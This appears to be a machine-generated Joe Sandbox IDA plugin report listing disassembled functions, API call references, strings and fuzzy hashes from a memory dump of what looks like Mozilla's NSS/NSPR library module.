Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: e10f1352ea1a5072b46811a71b94a22f306dbcdae9d7af6ea885fda9272775a0
Instruction ID: 02f1a7cd1c23d10e83328e19ead6dc50458a14f799fcd9be2d5a183d8fccf537
Opcode Fuzzy Hash: e10f1352ea1a5072b46811a71b94a22f306dbcdae9d7af6ea885fda9272775a0
Instruction Fuzzy Hash: 8C614AB5E042468BEB10CFB8D880BEEBBE1AF48348F114024ED55A7341E775E954CBB1

Function 6CFB2C40 Relevance: 18.2, APIs: 12, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CFB3F23,?,6CFAE477,?,?,?,00000001,00000000,?,?,6CFB3F23,?), ref: 6CFB2C62
EnterCriticalSection.KERNEL32(0000001C,?,6CFAE477,?,?,?,00000001,00000000,?,?,6CFB3F23,?), ref: 6CFB2C76
PL_HashTableLookup.NSS3(00000000,?,?,6CFAE477,?,?,?,00000001,00000000,?,?,6CFB3F23,?), ref: 6CFB2C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CFAE477,?,?,?,00000001,00000000,?,?,6CFB3F23,?), ref: 6CFB2C93

Part of subcall function 6D03DD70: TlsGetValue.KERNEL32 ref: 6D03DD8C
Part of subcall function 6D03DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D03DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CFAE477,?,?,?,00000001,00000000,?,?,6CFB3F23,?), ref: 6CFB2CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CFAE477,?,?,?,00000001,00000000,?,?,6CFB3F23,?), ref: 6CFB2CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CFAE477,?,?,?,00000001,00000000,?,?,6CFB3F23), ref: 6CFB2CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CFAE477,?,?,?,00000001,00000000,?), ref: 6CFB2CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CFAE477,?,?,?,00000001,00000000,?), ref: 6CFB2D4D
EnterCriticalSection.KERNEL32(?), ref: 6CFB2D61
PL_HashTableLookup.NSS3(?,?), ref: 6CFB2D71
PR_Unlock.NSS3(?), ref: 6CFB2D7E

Part of subcall function 6CF807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CF1204A), ref: 6CF807AD
Part of subcall function 6CF807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF1204A), ref: 6CF807CD
Part of subcall function 6CF807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF1204A), ref: 6CF807D6
Part of subcall function 6CF807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CF1204A), ref: 6CF807E4
Part of subcall function 6CF807A0: TlsSetValue.KERNEL32(00000000,?,6CF1204A), ref: 6CF80864
Part of subcall function 6CF807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CF80880
Part of subcall function 6CF807A0: TlsSetValue.KERNEL32(00000000,?,?,6CF1204A), ref: 6CF808CB
Part of subcall function 6CF807A0: TlsGetValue.KERNEL32(?,?,6CF1204A), ref: 6CF808D7
Part of subcall function 6CF807A0: TlsGetValue.KERNEL32(?,?,6CF1204A), ref: 6CF808FB

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID:
API String ID: 2446853827-0
Opcode ID: 80577e8b638edd330efa89b96d1f04a322ed6d6b7803c379528728fef584cbfe
Instruction ID: 0560f3391b66a50de840d5113373485153e1cee1f4321e3ec338375932e0cdae
Opcode Fuzzy Hash: 80577e8b638edd330efa89b96d1f04a322ed6d6b7803c379528728fef584cbfe
Instruction Fuzzy Hash: C251E9B6C00605ABDB009F25EC85AAAB778FF19358B148534ED1897B11E732FD64C7E1

Function 6CFA7C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6D0F2120,Function_00097E60,?,?,?,?,?,6D01F9CF,6D01FAD0,00000000), ref: 6CFA7C81

Part of subcall function 6CF14C70: TlsGetValue.KERNEL32(?,?,?,6CF13921,6D0F14E4,6D05CC70), ref: 6CF14C97
Part of subcall function 6CF14C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CF13921,6D0F14E4,6D05CC70), ref: 6CF14CB0
Part of subcall function 6CF14C70: PR_Unlock.NSS3(?,?,?,?,?,6CF13921,6D0F14E4,6D05CC70), ref: 6CF14CC9

TlsGetValue.KERNEL32 ref: 6CFA7CA0
EnterCriticalSection.KERNEL32(?), ref: 6CFA7CB4
PR_Unlock.NSS3 ref: 6CFA7CCF

Part of subcall function 6D03DD70: TlsGetValue.KERNEL32 ref: 6D03DD8C
Part of subcall function 6D03DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D03DDB4

TlsGetValue.KERNEL32 ref: 6CFA7D04
EnterCriticalSection.KERNEL32(?), ref: 6CFA7D1B
realloc.MOZGLUE(-00000050), ref: 6CFA7D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFA7DF4
PR_Unlock.NSS3 ref: 6CFA7E0E

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 9ffbb928ce9e5a5b7b79017040d532e38f69f4d0a33040936a6710cae234d72d
Instruction ID: e8bb8184b24d96cb53bf3323037f2af1051ef4bdac16ce9f0f019a5479fbeae0
Opcode Fuzzy Hash: 9ffbb928ce9e5a5b7b79017040d532e38f69f4d0a33040936a6710cae234d72d
Instruction Fuzzy Hash: 57511372905140DFEF109F68EC40F66BBB5FB52318F26412BEE0487666EB31D862CB95

Function 6CF14C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CF13921,6D0F14E4,6D05CC70), ref: 6CF14C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CF13921,6D0F14E4,6D05CC70), ref: 6CF14CB0
PR_Unlock.NSS3(?,?,?,?,?,6CF13921,6D0F14E4,6D05CC70), ref: 6CF14CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CF13921,6D0F14E4,6D05CC70), ref: 6CF14D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CF13921,6D0F14E4,6D05CC70), ref: 6CF14D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CF13921,6D0F14E4,6D05CC70), ref: 6CF14D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CF13921,6D0F14E4,6D05CC70), ref: 6CF14D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CF13921,6D0F14E4,6D05CC70), ref: 6CF14D97
PR_Lock.NSS3(?,?,?,?,?,6CF13921,6D0F14E4,6D05CC70), ref: 6CF14DBA
PR_WaitCondVar.NSS3 ref: 6CF14DD4
PR_Unlock.NSS3(?,?,?,?,?,6CF13921,6D0F14E4,6D05CC70), ref: 6CF14DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CF13921,6D0F14E4,6D05CC70), ref: 6CF14DEF

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 56a079e1c69bee6824faab373d820dd105c546504e48524e099d1e097c2c238f
Instruction ID: 11f9d95315f0b965eb9b95bacf45d94186b2482f23a423c6a3fdfcee882e1e09
Opcode Fuzzy Hash: 56a079e1c69bee6824faab373d820dd105c546504e48524e099d1e097c2c238f
Instruction Fuzzy Hash: AF417EB5909615CFDF00AF79E484759BBF4BF85318F164669DC489BB00E730D890CB92

Function 6CFB8F70 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CFADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CFB8FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6CFADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CFB8FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CFADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CFB8FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CFADA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CFB9013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CFADA9B,?,00000000,?,?,?,?,CE534353), ref: 6CFB9042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CFADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CFB905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CFADA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CFB9073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CFADA9B,?,00000000,?,?,?,?,CE534353), ref: 6CFB90EC

Part of subcall function 6CF80F00: PR_GetPageSize.NSS3(6CF80936,FFFFE8AE,?,6CF116B7,00000000,?,6CF80936,00000000,?,6CF1204A), ref: 6CF80F1B
Part of subcall function 6CF80F00: PR_NewLogModule.NSS3(clock,6CF80936,FFFFE8AE,?,6CF116B7,00000000,?,6CF80936,00000000,?,6CF1204A), ref: 6CF80F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CFADA9B,?,00000000,?,?,?,?,CE534353), ref: 6CFB9111

Strings

nm, xrefs: 6CFB90A3

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID: nm
API String ID: 2831689957-1757632871
Opcode ID: c12d05d30291af14268a3d18b44aa89ef560b06bf29b17470515cb7014ad4546
Instruction ID: e8ee5904e7830ea00a2f548087c5f8c9e0a881f3e9d373f37b1f82035dc89067
Opcode Fuzzy Hash: c12d05d30291af14268a3d18b44aa89ef560b06bf29b17470515cb7014ad4546
Instruction Fuzzy Hash: E65185B19092058FDB00EF3AD48875ABBF4BF49318F164569DC48AB706EB31E984CB91

Function 6D0A7CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6D0A7CE0

Part of subcall function 6D059BF0: TlsGetValue.KERNEL32(?,?,?,6D0A0A75), ref: 6D059C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D0A7D36
PR_Realloc.NSS3(?,00000080), ref: 6D0A7D6D
PR_GetCurrentThread.NSS3 ref: 6D0A7D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6D0A7DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D0A7DD8
malloc.MOZGLUE(00000080), ref: 6D0A7DF8
PR_GetCurrentThread.NSS3 ref: 6D0A7E06

Strings

:%s:%d:0x%lx, xrefs: 6D0A7DB9
NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6D0A7DF0

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 2e9e2a9e8186d75aa3d9a134eea0ac281c8e69178708ee73e1d13edf4da135bf
Instruction ID: 883d7113306cf258a5e4ff17ffa7f4dc7737d4dd2ad7c883185b169e184068ef
Opcode Fuzzy Hash: 2e9e2a9e8186d75aa3d9a134eea0ac281c8e69178708ee73e1d13edf4da135bf
Instruction Fuzzy Hash: 724191B1E002029BEB04CF68DD80B7A37B6BFC4318B59856CE9198B256D731E855CBA1

Function 6D0A7E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D0A7E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6D0A7E46

Part of subcall function 6CF81240: TlsGetValue.KERNEL32(00000040,?,6CF8116C,NSPR_LOG_MODULES), ref: 6CF81267
Part of subcall function 6CF81240: EnterCriticalSection.KERNEL32(?,?,?,6CF8116C,NSPR_LOG_MODULES), ref: 6CF8127C
Part of subcall function 6CF81240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CF8116C,NSPR_LOG_MODULES), ref: 6CF81291
Part of subcall function 6CF81240: PR_Unlock.NSS3(?,?,?,?,6CF8116C,NSPR_LOG_MODULES), ref: 6CF812A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6D0A7EAF
PR_ImportFile.NSS3(?), ref: 6D0A7ECF
PR_GetCurrentThread.NSS3 ref: 6D0A7ED6
PR_ImportTCPSocket.NSS3(?), ref: 6D0A7F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6D0A7F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6D0A7F15

Strings

NSPR_INHERIT_FDS, xrefs: 6D0A7E41
%d:0x%lx, xrefs: 6D0A7EA9

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: 740028f233ff4686dc5feafa53882b236706da371a87dae7dc7fe3169b2d02bd
Instruction ID: b400e3c84c9a4b10ebe241d20b6d0dd4467681ca6b219b4e49247e6c5d4e5b2d
Opcode Fuzzy Hash: 740028f233ff4686dc5feafa53882b236706da371a87dae7dc7fe3169b2d02bd
Instruction Fuzzy Hash: 33313F70D0811A9BFB11DBA9C840BBFB7E8BB89348F488526D90597217E7219D00C7D2

Function 6CFC6C40 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6CFC6C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CFC6C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFC6CA3

Part of subcall function 6D0AD930: PL_strncpyz.NSS3(?,?,?), ref: 6D0AD963

PR_LogPrint.NSS3(?,00000000), ref: 6CFC6CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CFC6CD5

Strings

hSession = 0x%x, xrefs: 6CFC6C7E, 6CFC6C8E
(CK_INVALID_HANDLE), xrefs: 6CFC6C9C
C_DigestInit, xrefs: 6CFC6C61
pMechanism = 0x%p, xrefs: 6CFC6CD0
nm, xrefs: 6CFC6CF4, 6CFC6D1F

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit$nm
API String ID: 1003633598-4139822057
Opcode ID: 6cea1c91e5d5f7325913dd581e2e87009b12c0c30c5e30a69d416033022713cf
Instruction ID: 65927cd92dffaf5b77c55e09adc5ae52d7c5b0257f8b38613bd3a72b74498caf
Opcode Fuzzy Hash: 6cea1c91e5d5f7325913dd581e2e87009b12c0c30c5e30a69d416033022713cf
Instruction Fuzzy Hash: 95213131B09105ABEB10DB65ED88FAF37B5EB42319F194028FD09D7202DB309808CBA7

Function 6CFC9DD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6CFC9DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CFC9E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFC9E33

Part of subcall function 6D0AD930: PL_strncpyz.NSS3(?,?,?), ref: 6D0AD963

PR_LogPrint.NSS3(?,00000000), ref: 6CFC9E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6CFC9E65

Strings

hSession = 0x%x, xrefs: 6CFC9E0E, 6CFC9E1E
(CK_INVALID_HANDLE), xrefs: 6CFC9E2C
flags = 0x%x, xrefs: 6CFC9E60
C_SessionCancel, xrefs: 6CFC9DF1
nm, xrefs: 6CFC9E7D, 6CFC9EA8

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel$nm
API String ID: 1003633598-1172827029
Opcode ID: 94e2033542f209863c1a60bba843de23a4424b1c740d155fc060262a7aa005f0
Instruction ID: 25f9494ec114ae80d723a1ca24eedbe8a95a714f646cca5a49cc8853870693f1
Opcode Fuzzy Hash: 94e2033542f209863c1a60bba843de23a4424b1c740d155fc060262a7aa005f0
Instruction Fuzzy Hash: 1C21F371B0610AAFEB109B64EC84BAF37B4EB5230DF594024ED09A7242DF30DA44C7A3

Function 6CFDECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CFDDE64), ref: 6CFDED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFDED22

Part of subcall function 6CFEB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D0C18D0,?), ref: 6CFEB095

PL_FreeArenaPool.NSS3(?), ref: 6CFDED4A
PL_FinishArenaPool.NSS3(?), ref: 6CFDED6B
PR_CallOnce.NSS3(6D0F2AA4,6CFF12D0), ref: 6CFDED38

Part of subcall function 6CF14C70: TlsGetValue.KERNEL32(?,?,?,6CF13921,6D0F14E4,6D05CC70), ref: 6CF14C97
Part of subcall function 6CF14C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CF13921,6D0F14E4,6D05CC70), ref: 6CF14CB0
Part of subcall function 6CF14C70: PR_Unlock.NSS3(?,?,?,?,?,6CF13921,6D0F14E4,6D05CC70), ref: 6CF14CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CFDED52
PR_CallOnce.NSS3(6D0F2AA4,6CFF12D0), ref: 6CFDED83
PL_FreeArenaPool.NSS3(?), ref: 6CFDED95
PL_FinishArenaPool.NSS3(?), ref: 6CFDED9D

Part of subcall function 6CFF64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CFF127C,00000000,00000000,00000000), ref: 6CFF650E

Strings

security, xrefs: 6CFDED06

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: dd08c3c8f83f886c8318296f9d9776ce3789b3e697d65879999b14f83361318e
Instruction ID: 8dae5e91da246c1a77e0ac2519a123dc7c610335d411b214ae91984f3f07001f
Opcode Fuzzy Hash: dd08c3c8f83f886c8318296f9d9776ce3789b3e697d65879999b14f83361318e
Instruction Fuzzy Hash: D111E77690020467E6106B65AC40BBFB278EF4170CF090525FC65A2AA1FF25B51DC6E7

Function 6D0A0EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CF82357), ref: 6D0A0EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CF82357), ref: 6D0A0EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6D0A0EE6

Part of subcall function 6D0A09D0: PR_Now.NSS3 ref: 6D0A0A22
Part of subcall function 6D0A09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6D0A0A35
Part of subcall function 6D0A09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6D0A0A66
Part of subcall function 6D0A09D0: PR_GetCurrentThread.NSS3 ref: 6D0A0A70
Part of subcall function 6D0A09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6D0A0A9D
Part of subcall function 6D0A09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6D0A0AC8
Part of subcall function 6D0A09D0: PR_vsmprintf.NSS3(?,?), ref: 6D0A0AE8
Part of subcall function 6D0A09D0: EnterCriticalSection.KERNEL32(?), ref: 6D0A0B19
Part of subcall function 6D0A09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6D0A0B48
Part of subcall function 6D0A09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6D0A0C76
Part of subcall function 6D0A09D0: PR_LogFlush.NSS3 ref: 6D0A0C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6D0A0EFA

Part of subcall function 6CF8AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CF8AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D0A0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D0A0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D0A0F25
